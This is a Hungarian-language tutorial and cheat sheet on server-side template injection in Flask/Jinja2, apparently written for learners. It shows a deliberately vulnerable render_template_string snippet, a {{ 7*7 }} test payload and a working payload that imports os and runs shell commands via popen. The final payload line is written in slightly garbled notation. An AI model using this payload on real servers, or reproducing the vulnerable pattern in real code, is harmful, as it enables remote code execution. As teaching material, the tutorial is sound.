Ugrás a lényegre

SSTI Cheat sheet

Az SSTI ugyanabból a családból származik, mint az SQLInjection. Azaz ugyanúgy valamilyen inputot kell injektálnunk az applikációban. Ahogy a nevéből látható itt a template-be fogunk injektálni cukiság-okat.

Meet the template

Ebben a feladatban a Jinja2 templating library-vel fogunk megismerkedni. A templating nyelv érdekessége, hogy html-be tudunk változókat átadni. Ezt a {{ változónév }} szintaxissal tudjuk megvalósítani.

Hiba a programban

Itt a programban az a hiba, hogy felhasználói inputot adunk át ennek a nyelvnek, és megjelenítjük anélkül, hogy verifikálnánk az inputot.

template = f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Index</title>
</head>

<body>
<form action="", method="post">
<input type="text", id="input", name="input">
</form>
{form_input}
</body>
</html>
"""
return render_template_string(template)

Itt a változót form_input szimplán hozzáfűzzük, a template-hez, amit majd a template utána kirenderel. Azaz ha olyan inputot adunk, ami valid template instrukció akkor kódot tudunk futtatni a szerveren.

Az applikáció tesztelése:

Az egyszerű input amivel tesztelhetjük, hogy sérülékeny-e az applikáció, az ha inputként megadjuk a következő egyszerű input-ot {{ 7*7 }}. Ennek 49-et kellene kiadnia, és akkor a weboldal sérülékeny.

A sérülékenység kihasználása:

A pythonnak az osztályok/függvények parszoló részét fogjuk kihasználni. A Jinja2 dokumentációból lehet sok mindent meg lehet találni ami segíthet, de mi most a requestet fogjuk felhasználni. Pontosabban a request application függvényét.

Python magic:

Ha az alábbi payload-ot beírtuk: {{request.application}} Akkor a következő kimenetet kellen látnunk: <bound method Request.application of <class 'flask.wrappers.Request'>> Ebből azt látjuk, hogy ez egy metódus a request osztályban. Ez jó eddig is ezt gondoltuk.

A **globals** függvény azt csinálja, hogy visszaadja a globális namespace-ét a függvénynek amire meghívjuk.

Az a feladat, az hogy nekünk hasznos függvényeket tudjunk meghívni egyszerűen. Az elérhető függvényekket **builtins** metódus meghívásával tudjuk megnézni, ez sok függvényt kiír, viszont nekünk, a fontos az **import** lesz.

Most már csak használnunk kell ezt a függvényt.

request.application.__builtins__.__import__('os').popen('id').read()

Itt importáljuk az os modult, majd popen-nel meghívunk egy shell parancsot, és amit a parancs kiadott azt visszaadjuk, és ezt fogjuk majd látni a weboldalon.

Tehát a végső input az alábbiként fog kinézni:

{{request.application.(__globals__.)__builtins__.__import__('os').popen('id').read()}}